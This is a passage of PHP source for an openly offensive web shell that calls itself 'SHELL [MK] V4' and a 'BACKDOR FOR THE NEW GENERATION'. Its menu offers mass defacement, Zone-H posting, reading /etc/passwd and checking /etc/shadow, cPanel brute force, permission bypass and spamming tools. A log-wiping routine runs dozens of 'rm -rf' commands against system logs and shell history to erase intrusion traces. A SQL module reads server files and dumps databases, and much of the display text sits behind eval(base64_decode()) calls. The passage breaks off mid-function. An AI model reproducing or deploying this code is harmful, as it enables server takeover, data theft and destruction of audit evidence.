245 | .social ul li {display: block;width: 320px;text-align: right;padding: 5px;-webkit-transition: all 1s;background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838);background:linear-gradient(to bottom, #505050, #383838);border-bottom:2px solid #000000;} | |
246 | .social ul li:hover {-webkit-transform: translate(110px, 0);background: -webkit-linear-gradient(top, #4382EF 0, #1463EB 33%, #0C3B8D 100%) no-repeat;} | |
247 | .social ul li:hover a {color: #FFFFFF;} | |
248 | .MK-footer {background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838);background:linear-gradient(to bottom, #505050, #383838);background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;border-bottom:1px solid black;-webkit-box-shadow:inset 0 1px 0 #6e6e6e,0 2px 2px rgba(0,0,0,0.4);box-shadow:inset 0 1px 0 #6e6e6e,0 2px 2px rgba(0,0,0,0.4);border-bottom:4px solid #0000F0;font-size:10px;color:#FFFFFF;position:fixed; left:0px; right:0px; bottom:0px; text-align:center; border-top: 1px solid #0000F0; color:#FFFFFF;font-size:10px;} | |
249 | .MK-footer a {color:#0000F0;} | |
250 | .MK-Bouton ,button{color:#FFFFFF;font-size:10px;border: 0;border-collapse: separate;-webkit-background-origin: border ;-moz-background-origin: border ;background-origin: border-box ;background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838);background:linear-gradient(to bottom, #505050, #383838);padding:5px;margin:0 auto;height:25px;} | |
251 | </style> | |
252 | <? | |
253 | $LI = "<li>"; $IMGEDITED2 = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAHkSURBVHjarJNPaxNBGIefmZ1dpBV60HM0mKT26MVTQKgHpbHR6kW7vS29KFVDDyqsEdsi9VCqlYil5LitF1EsiX8+gOCnqM1ZhB4svch4SHZMsptRoT8YeJndeebZ2XmF1prDjAiri/9NXHwcCivw7u2byQdCkGb/bO2lFSrjxf3DNl+5c4uHj5b0QKCUEiklQoieun9IKQFYfV4DSIWq/s9Mq7szX5kz9crqC1KB8c6HEeU4cqDN3+I4Mg3oIGUb2Gh+sgJKExf+LFx7wgMX9lYW9Mh8VfQAY8NLpYv/ZHZ6bIydsALAUeDn06oevrcgAJRSypzh++1mKqA8OWHqwugom1FE1vdpbbR/yvCZsxwsh/rI/SWhXNc1hpfLJatZvlBgM4oAOD8+TmZ2jtabLfjxHffYcQ6WQ608zzWGb99tJyBTVybRWpPL5w2sXq8TBAFBEJC5dsOYCq3pMbw6VU41O5XLJWBxYtP4TJXnedZr43yt8u31DF9+JWHdplnfp7W7K5Sr1EBgPC+HMhT3G5ACA5juwACk67oDe7cnQycpOg0rzFwbW+8iOv0/kgWguN80pv0wY2hL5nrUhu3tdExPUHSaTPs+tdqrZOsp5fDh42c79Nwsra2Zbm3W1zdS3/09AEKel5pgzp+hAAAAAElFTkSuQmCC">'; | |
254 | $BODY = '<body onLoad="init()" style="margin:0;table-layout:fixed;">'; | |
255 | echo ''. $BODY .''; $HEADER = "<header class='Mister-header'>"; | |
256 | echo "". $HEADER .""; $NAMES1 = "SHELL [MK] V4"; | |
257 | $B1 = "<b class='Mister-headline'>"; echo "". $B1 .""; echo "". $NAMES1 ."</b>"; | |
258 | $NAMS2 = "BACKDOR FOR THE NEW GENERATION"; | |
259 | echo "<a class='Mister-slogan'>"; echo "". $NAMS2 ."</a></header>"; | |
260 | $NAV3 = "<nav class='Mister-nav'>"; echo "". $NAV3 ."<div class='Mister-nav-inner'>"; | |
261 | $UL1 = "<ul class='Mister-hmenu'>"; echo "". $UL1 ."<li> | |
262 | <a href='?Home' style='background: -webkit-linear-gradient(top, #FFFFFF 0, #BFBFBF 100%) no-repeat;color:#000000;'>"; | |
263 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
264 | $COMMAND = "COMMAND"; echo "". $COMMAND ."</a></li>"; | |
265 | echo "". $LI ."<a href='?Mister=FILES' class='active'>"; $FILEMANAGER = "FILE MANAGER"; | |
266 | echo "". $IMGEDITED2 .""; echo "". $FILEMANAGER ."</a></li>"; | |
267 | echo ''. $LI .'<a href="?Mister=SQLConnect">'; | |
268 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
269 | $SQLCONNECT = "SQL CONNECT"; echo''. $SQLCONNECT .'</a></li>'; | |
270 | echo ''. $LI .'<a href="?Mister=Mass">'; | |
271 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
272 | $MASSAUTODEFACER = 'MASS AUTO DEFACER'; echo''. $MASSAUTODEFACER .'</a></li>'; | |
273 | echo ''. $LI .'<a href="?Mister=Zoneh">'; | |
274 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
275 | echo'ZONE-H AUTO POSTER</a></li>'; | |
276 | echo ''. $LI .'<a href="?Mister=read">'; | |
277 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
278 | echo'READ /ETC/PASSWD</a></li>'; | |
279 | echo ''. $LI .'<a href="?Mister=string">'; | |
280 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
281 | echo'STRING TOOLS</a></li>'; | |
282 | echo ''. $LI .'<a href="?Mister=cpanelBrut">'; | |
283 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
284 | echo'CPANNELS / BRUTE FORCE</a></li>'; | |
285 | echo ''. $LI .'<a href="?Mister=Bypassuser">'; | |
286 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
287 | echo'ALL BYPASS</a></li>'; | |
288 | echo ''. $LI .'<a href="?Mister=FinderAdmin">'; | |
289 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
290 | echo'TOOLS OF HACKING</a></li>'; | |
291 | echo ''. $LI .'<a href="?Mister=Mails">'; | |
292 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
293 | echo'TOOLS OF SPAMMING</a></li>'; | |
294 | //// LOGS | |
295 | echo ''. $LI .'<a href="?Mister=DELLOGS">'; | |
296 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
297 | $LOGS = "DELET LOGS"; echo ''. $LOGS .'</a></li>'; | |
298 | //// END | |
299 | echo ''. $LI .'<a href="?Mister=infoserv">'; | |
300 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
301 | $SAFEMODES = "SAFE MODES"; echo ''. $SAFEMODES .'</a></li>'; | |
302 | eval("?>".base64_decode("PGxpPjxhIGhyZWY9Jz9NaXN0ZXI9S2lsbGluZyc+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZToxM3B4OyBmb250LWZhbWlseTpOYXJraXNpbTsgY29sb3I6I2Y2MDAwMCc+4pyYPC9zcGFuPiBSRU1PVkUgU0hFTEw8L2E+PC9saT4=/")); | |
303 | echo'</nav><nav class="Mister-nav" cellspacing="3" style=" | |
304 | background:#0000F0; | |
305 | ">'; | |
306 | $TABLE011 = '<table Style="width:100%;" cellspacing=2><td><span style="float:right">'; echo ''. $TABLE011 .''; | |
307 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
308 | $BNAMESHELL = '<b style="color:#000000;"> NAME SHELL : </b>'; echo ''. $BNAMESHELL .'<span style="color:#FFFFFF">SH3LL MK VERSION 3.2.0</span><br>'; | |
309 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
310 | $BALLDRIVE = "<b style='color:#000000;'> ALL DRIVERS : </b>"; echo ''. $BALLDRIVE .'<span style="color:#FFFFFF">'; | |
311 | //// DRIVERS | |
312 | explode("\\",$d);$v = $v[0]; | |
313 | foreach (range("A","Z") as $DRIVERS) {$bool = @IS_DIR($DRIVERS.":\\"); | |
314 | if ($bool){$DRIVER .= "<a href='?Mister=FILES&DIR=".$DRIVERS.":\'>[ "; | |
315 | if ($DRIVERS.":" != $v){$DRIVER .= $DRIVERS;} | |
316 | else {$DRIVER .= "<span>".$DRIVERS."</span>";} $DRIVER .= " ]</a> ";}} | |
317 | echo "". $DRIVER ."</span><br>"; | |
318 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
319 | $WEBSERVER = "<b style='color:#000000;'> WEB SERVER : </b>"; echo ''. $WEBSERVER .'<span style="color:#FFFFFF">'; | |
320 | echo $_SERVER["SERVER_SOFTWARE"]; echo '</span><br>'; | |
321 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
322 | $ADMINSERV = "<b style='color:#000000;'> ADMIN SERVER : </b>"; echo ''. $ADMINSERV .'<span style="color:#FFFFFF">'; | |
323 | echo $_SERVER['SERVER_ADMIN']; echo '</span><br>'; | |
324 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
325 | $READABLEETC = "<b style='color:#000000;'> READABLE /ETC/PASSWD : </b>"; echo ''. $READABLEETC .''; | |
326 | echo @IS_READABLE('/etc/passwd')?"READABLE <a href='?Mister=read'> [VIEW]</a>":"NOT_READABLE"; echo "<br>"; | |
327 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
328 | $SHADOW = "<b style='color:#000000;'> READABLE /ETC/SHADOW : </b>"; echo ''. $SHADOW .''; | |
329 | echo @IS_READABLE('/etc/shadow')?"READABLE <a href='?Mister=read'> [VIEW]</a>":"NOT_READABLE"; | |
330 | echo '<br></span><span style="right;">'; | |
331 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
332 | $KERNEL = "<b style='color:#000000;'> KERNEL : </b>"; echo ''. $KERNEL .'<span style="color:#FFFFFF">'; | |
333 | echo php_uname(); echo '</span><br>'; | |
334 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
335 | $DRIVEROPEN = "<b style='color:#000000;'> DRIVER OPEN : </b>"; echo ''. $DRIVEROPEN .'<span style="color:#FFFFFF">'; | |
336 | if(isset($_GET['path'])){ | |
337 | $DIR = $_GET['path']; | |
338 | }else{ | |
339 | $DIR = getcwd(); | |
340 | } | |
341 | $DIR = str_replace('\\','/',$DIR); | |
342 | $paths = explode('/',$DIR); | |
343 | ||
344 | foreach($paths as $id=>$pwd){ | |
345 | if($pwd == '' && $id == 0){ | |
346 | $a = true; | |
347 | echo '<a href="?Mister=FILES&DIR=/">/</a>'; | |
348 | continue; | |
349 | } | |
350 | if($pwd == '') continue; | |
351 | echo '<a href="?Mister=FILES&DIR='; | |
352 | for($i=0;$i<=$id;$i++){ | |
353 | echo "$paths[$i]"; | |
354 | if($i != $id) echo "/"; | |
355 | } | |
356 | echo '">'.$pwd.'</a>/'; | |
357 | } echo '</span><br>'; | |
358 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
359 | $SYSTEM = "<b style='color:#000000;'> SYSTEM : </b>"; echo ''. $SYSTEM .''; | |
360 | echo "<span style='color:#FFFFFF;'>".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")";echo '</span><br>'; | |
361 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
362 | function formatSizeUnits($bytes){if ($bytes >= 1073741824){$bytes = number_format($bytes / 1073741824, 2) . ' GB';} | |
363 | elseif ($bytes >= 1048576){$bytes = number_format($bytes / 1048576, 2) . ' MB';} | |
364 | elseif ($bytes >= 1024){$bytes = number_format($bytes / 1024, 2) . ' KB';} | |
365 | elseif ($bytes > 1){$bytes = $bytes . ' Bytes';} | |
366 | elseif ($bytes == 1){$bytes = $bytes . ' Byte';} | |
367 | else{$bytes = '0 Bytes';}return $bytes;} | |
368 | $Toplamalan = formatSizeUnits(disk_total_space("/")); | |
369 | $Freealan = formatSizeUnits(disk_free_space("/")); | |
370 | $alaNOran = round(disk_free_space("/") * 100 / disk_total_space("/")); echo "<span style='color:#FFFFFF'>"; | |
371 | $TOTAL3 = "<b style='color:#000000;'> TOTAL : </span></b>"; echo ''. $TOTAL3 .''; echo "". $Toplamalan .""; | |
372 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
373 | echo "<span style='color:#FFFFFF'>"; | |
374 | $FREESPACE = "<b style='color:#000000;'> FREE : </span></b>"; echo ''. $FREESPACE .''; echo "". $Freealan .""; echo '</span>'; | |
375 | echo '<br>'; | |
376 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
377 | $PORT3 = "<b style='color:#000000;'> PORT : </b>"; echo ''. $PORT3 .'<span style="color:#FFFFFF">'; | |
378 | echo $_SERVER['SERVER_PORT']; echo '</span>'; | |
379 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
380 | $USERID = "<b style='color:#000000;'> USER ID : </b>"; echo ''. $USERID .'<span style="color:#FFFFFF">'; | |
381 | echo getmyuid(); echo '</span>'; | |
382 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
383 | $CURRENTUSER = "<b style='color:#000000;'> CURRENT USER : </b>"; echo ''. $CURRENTUSER .'<span style="color:#FFFFFF">'; | |
384 | echo get_current_user(); echo '</span><br>'; | |
385 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
386 | $TIMEDATES = "<b style='color:#000000;'> TIME & DATE : </b>"; echo ''. $TIMEDATES .'<span style="color:#FFFFFF">'; | |
387 | /// DATE / TIME / DAY | |
388 | $DATE = date (" F/j/Y/ "); $TIME = date ("g:i A"); $DAY = date ("l"); | |
389 | echo ''. $DATE .''; echo ' | '. $TIME .''; echo ' | '. $DAY .'</span>'; | |
390 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
391 | $LOADING = "<b style='color:#000000;'> LOADING IN : </b>"; echo ''. $LOADING .'<span style="color:#FFFFFF">'; | |
392 | debuginfo();ob_end_flush(); echo "</span></td></tr></table></nav></head>";} | |
393 | //// COMMAND | |
394 | function FOTMISTER_K($MK_TEXT,$MK_TEXT1,$DIR) { | |
395 | echo "</textarea><br><br><form method='POST'> | |
396 | <center><b>✓ COMMAND : </b><input type='text' name='COMMAND' style='width:40%' value='DIR /s /w /b *config*.php'><input type='submit' class='Mister-button' value='DONE'></center></form>";} | |
397 | ///// END | |
398 | //////////////////////////////// TOOLS NOT FOR KIDS /////////////////////////////////////// | |
399 | function MISTERMISTER_K () { | |
400 | $MISTER_K_Mister = $_GET['Mister']; | |
401 | /////// BACK CONNECT PERL | |
402 | ||
403 | /////// DELET LOGS | |
404 | if ($_GET['Mister'] == 'DELLOGS') { | |
405 | error_reporting(E_ERROR | E_PARSE); | |
406 | @ini_set("max_execution_time",0); | |
407 | @set_time_limit(0); | |
408 | echo "<br><nav class='Mister-nav'><center><span style='font-size:18px;color:#0000F0;'>LOGS ECRASED</span></nav><center><br><div class=content>"; | |
409 | echo "<table style='margin: 0 auto;'>"; | |
410 | exec("/logs/access.log"); | |
411 | exec("/logs/error.log"); | |
412 | exec("rm -rf /Apache2.2/logs/access.log"); | |
413 | exec("rm -rf /Apache2.2/logs/error.log"); | |
414 | exec("rm -rf /tmp/logs"); | |
415 | exec("rm -rf /root/.ksh_history"); | |
416 | exec("rm -rf /root/.bash_history"); | |
417 | exec("rm -rf /root/.bash_logout"); | |
418 | exec("rm -rf /usr/local/apache/logs"); | |
419 | exec("rm -rf /usr/local/apache/log"); | |
420 | exec("rm -rf /var/apache/logs"); | |
421 | exec("rm -rf /var/apache/log"); | |
422 | exec("rm -rf /var/run/utmp"); | |
423 | exec("rm -rf /var/logs"); | |
424 | exec("rm -rf /var/log"); | |
425 | exec("rm -rf /var/adm"); | |
426 | exec("rm -rf /etc/wtmp"); | |
427 | exec("rm -rf /etc/utmp"); | |
428 | exec("rm -rf $HISTFILE"); | |
429 | exec("rm -rf /var/log/lastlog"); | |
430 | exec("rm -rf /var/log/wtmp"); | |
431 | //SHELL_EXEC | |
432 | shell_exec("/logs/access.log"); | |
433 | shell_exec("/logs/error.log"); | |
434 | shell_exec("rm -rf /Apache2.2/logs/access.log"); | |
435 | shell_exec("rm -rf /Apache2.2/logs/error.log"); | |
436 | shell_exec("rm -rf /tmp/logs"); | |
437 | shell_exec("rm -rf /root/.ksh_history"); | |
438 | shell_exec("rm -rf /root/.bash_history"); | |
439 | shell_exec("rm -rf /root/.bash_logout"); | |
440 | shell_exec("rm -rf /usr/local/apache/logs"); | |
441 | shell_exec("rm -rf /usr/local/apache/log"); | |
442 | shell_exec("rm -rf /var/apache/logs"); | |
443 | shell_exec("rm -rf /var/apache/log"); | |
444 | shell_exec("rm -rf /var/run/utmp"); | |
445 | shell_exec("rm -rf /var/logs"); | |
446 | shell_exec("rm -rf /var/log"); | |
447 | shell_exec("rm -rf /var/adm"); | |
448 | shell_exec("rm -rf /etc/wtmp"); | |
449 | shell_exec("rm -rf /etc/utmp"); | |
450 | shell_exec("rm -rf $HISTFILE"); | |
451 | shell_exec("rm -rf /var/log/lastlog"); | |
452 | shell_exec("rm -rf /var/log/wtmp"); | |
453 | //PASSTHRU | |
454 | passthru("/logs/access.log"); | |
455 | passthru("/logs/error.log"); | |
456 | passthru("rm -rf /Apache2.2/logs/access.log"); | |
457 | passthru("rm -rf /Apache2.2/logs/error.log"); | |
458 | passthru("rm -rf /tmp/logs"); | |
459 | passthru("rm -rf /root/.ksh_history"); | |
460 | passthru("rm -rf /root/.bash_history"); | |
461 | passthru("rm -rf /root/.bash_logout"); | |
462 | passthru("rm -rf /usr/local/apache/logs"); | |
463 | passthru("rm -rf /usr/local/apache/log"); | |
464 | passthru("rm -rf /var/apache/logs"); | |
465 | passthru("rm -rf /var/apache/log"); | |
466 | passthru("rm -rf /var/run/utmp"); | |
467 | passthru("rm -rf /var/logs"); | |
468 | passthru("rm -rf /var/log"); | |
469 | passthru("rm -rf /var/adm"); | |
470 | passthru("rm -rf /etc/wtmp"); | |
471 | passthru("rm -rf /etc/utmp"); | |
472 | passthru("rm -rf $HISTFILE"); | |
473 | passthru("rm -rf /var/log/lastlog"); | |
474 | passthru("rm -rf /var/log/wtmp"); | |
475 | echo "<table align='center' width='50%'>"; | |
476 | //LET THE MOTHER OF FUNCTIONS TO COMPLETE THE TASK | |
477 | sleep(1); | |
478 | echo '</span><br><span style="color:#FFFFFF"><center>GOOD LOCK ! YOUR TRACES HAS BEEN ECRASED FROM THE SERVER </span></center>'; | |
479 | echo '<center><br><a href="?Mister=DELLOGS" style="border-top: 3px solid #0000F0; font-size:10px;font-family: "Aldrich", Tahoma, sans-serif;text-align: center;color: #FFFFFF; font-size:10px;border: 0;background: -webkit-linear-gradient(top, #4382EF 0, #1463EB 33%, #0C3B8D 100%) no-repeat;padding:0 10px;margin:0 auto;height:25px;border-bottom:5px solid #FFFFFF;border-bottom:4px solid #0000F0;"> CLEANNER LOGS </a></center>'; | |
480 | //////// MY RIGHT | |
481 | $FOTTER2 = "<footer class='MK-footer'>"; echo ''. $FOTTER2 .'|' ; | |
482 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
483 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
484 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
485 | $SERVERIP1 = "SERVER IP :"; echo ''. $SERVERIP1 .'' ; | |
486 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
487 | $SPAN3 = "</span>"; echo ''. $SPAN2 .'' ; | |
488 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
489 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
490 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
491 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
492 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
493 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
494 | $HOSTOWNED1 = "HOST OWNED :"; echo ''. $HOSTOWNED1 .'' ; | |
495 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
496 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
497 | echo ''. $REPORTERROR .'</a></span></footer>'; echo ''. $THEEND .'' ; | |
498 | exit ; } | |
499 | ///// DETECT LOGS | |
500 | ||
501 | if ($_GET['Mister'] == 'SQLConnect') { | |
502 | echo "<br><nav class='Mister-nav'><center><span style='font-size:18px;color:#0000F0;'>SQLConnect</span></nav><center>"; | |
503 | echo "<br>"; | |
504 | echo "<script> var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; var d = document; function set(a,c,p1,p2,p3,charset) { if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); d.mf.submit(); } </script>"; | |
505 | class DbClass { | |
506 | var $type; | |
507 | var $link; | |
508 | var $res;function DbClass($type) { | |
509 | $this->type = $type; } | |
510 | function connect($host, $user, $pass, $dbname){ | |
511 | switch($this->type) { | |
512 | case 'mysql': | |
513 | if( $this->link = @mysql_connect($host,$user,$pass,true) ) | |
514 | return true; | |
515 | break; | |
516 | case 'pgsql': | |
517 | $host = explode(':', $host); | |
518 | if(!$host[1]) $host[1]=5432; | |
519 | if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) | |
520 | return true; | |
521 | break;} | |
522 | return false;} | |
523 | function selectdb($db) { | |
524 | switch($this->type) { | |
525 | case 'mysql': | |
526 | if (@mysql_select_db($db)) | |
527 | return true; | |
528 | break; } | |
529 | return false; } | |
530 | function query($str) { | |
531 | switch($this->type) { | |
532 | case 'mysql': | |
533 | return $this->res = @mysql_query($str); | |
534 | break; | |
535 | case 'pgsql': | |
536 | return $this->res = @pg_query($this->link,$str); | |
537 | break; } | |
538 | return false;} | |
539 | function fetch() { $res = func_num_args()?func_get_arg(0):$this->res; | |
540 | switch($this->type) { | |
541 | case 'mysql': | |
542 | return @mysql_fetch_assoc($res); | |
543 | break; | |
544 | case 'pgsql': | |
545 | return @pg_fetch_assoc($res); | |
546 | break; } | |
547 | return false; } | |
548 | function listDbs() { | |
549 | switch($this->type) { | |
550 | case 'mysql': | |
551 | return $this->query("SHOW databases"); | |
552 | break; | |
553 | case 'pgsql': | |
554 | return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); | |
555 | break; } | |
556 | return false; } | |
557 | function listTables() { | |
558 | switch($this->type) { | |
559 | case 'mysql': | |
560 | return $this->res = $this->query('SHOW TABLES'); | |
561 | break; | |
562 | case 'pgsql': | |
563 | return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); | |
564 | break; } | |
565 | return false; } | |
566 | function error() { | |
567 | switch($this->type) { | |
568 | case 'mysql': | |
569 | return @mysql_error(); | |
570 | break; | |
571 | case 'pgsql': | |
572 | return @pg_last_error(); | |
573 | break; } | |
574 | return false; } | |
575 | function setCharset($str) { | |
576 | switch($this->type) { | |
577 | case 'mysql': | |
578 | if(function_exists('mysql_set_charset')) | |
579 | return @mysql_set_charset($str, $this->link); | |
580 | else $this->query('SET CHARSET '.$str); | |
581 | break; | |
582 | case 'pgsql': | |
583 | return @pg_set_client_encoding($this->link, $str); | |
584 | break; } | |
585 | return false; } | |
586 | function loadFile($str) { | |
587 | switch($this->type) { | |
588 | case 'mysql': | |
589 | return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); | |
590 | break; | |
591 | case 'pgsql': | |
592 | $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); | |
593 | $r=array(); | |
594 | while($i=$this->fetch()) | |
595 | $r[] = $i['file']; | |
596 | $this->query('drop table wso2'); | |
597 | return array('file'=>implode("\n",$r)); | |
598 | break; } | |
599 | return false; } | |
600 | function dump($table, $fp = false) { | |
601 | switch($this->type) { | |
602 | case 'mysql': | |
603 | $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); | |
604 | $create = mysql_fetch_array($res); | |
605 | $sql = $create[1].";\n"; | |
606 | if($fp) fwrite($fp, $sql); else | |
607 | echo($sql); | |
608 | $this->query('SELECT * FROM `'.$table.'`'); | |
609 | $head = true; | |
610 | while($item = $this->fetch()) { | |
611 | $columns = array(); | |
612 | foreach($item as $k=>$v) { | |
613 | if($v == null) | |
614 | $item[$k] = "NULL"; | |
615 | elseif(is_numeric($v)) | |
616 | $item[$k] = $v; else | |
617 | $item[$k] = "'".@mysql_real_escape_string($v)."'"; | |
618 | $columns[] = "`".$k."`"; } | |
619 | if($head) { | |
620 | $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; | |
621 | $head = false; } | |
622 | else | |
623 | $sql = "\n\t,(".implode(", ", $item).')'; | |
624 | if($fp) fwrite($fp, $sql); else echo($sql); } | |
625 | if(!$head) | |
626 | if($fp) fwrite($fp, ";\n\n"); | |
627 | else | |
628 | echo(";\n\n"); | |
629 | break; | |
630 | case 'pgsql': | |
631 | $this->query('SELECT * FROM '.$table); | |
632 | while($item = $this->fetch()) { | |
633 | $columns = array(); | |
634 | foreach($item as $k=>$v) { | |
635 | $item[$k] = "'".addslashes($v)."'"; $columns[] = $k; } | |
636 | $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; | |
637 | if($fp) fwrite($fp, $sql); else echo($sql); } | |
638 | break; } | |
639 | return false; } }; | |
640 | $db = new DbClass($_POST['type']); | |
641 | if(@$_POST['p2']=='download') { | |
642 | $db->connect($_POST['sql_host'], | |
643 | $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); | |
644 | $db->selectdb($_POST['sql_base']); | |
645 | switch($_POST['charset']) { | |
646 | case "Windows-1251": $db->setCharset('cp1251'); | |
647 | break; | |
648 | case "UTF-8": $db->setCharset('utf8'); | |
649 | break; | |
650 | case "KOI8-R": $db->setCharset('koi8r'); | |
651 | break; | |
652 | case "KOI8-U": $db->setCharset('koi8u'); | |
653 | break; | |
654 | case "cp866": $db->setCharset('cp866'); | |
655 | break; } | |
656 | if(empty($_POST['file'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); | |
657 | foreach($_POST['tbl'] as $v) | |
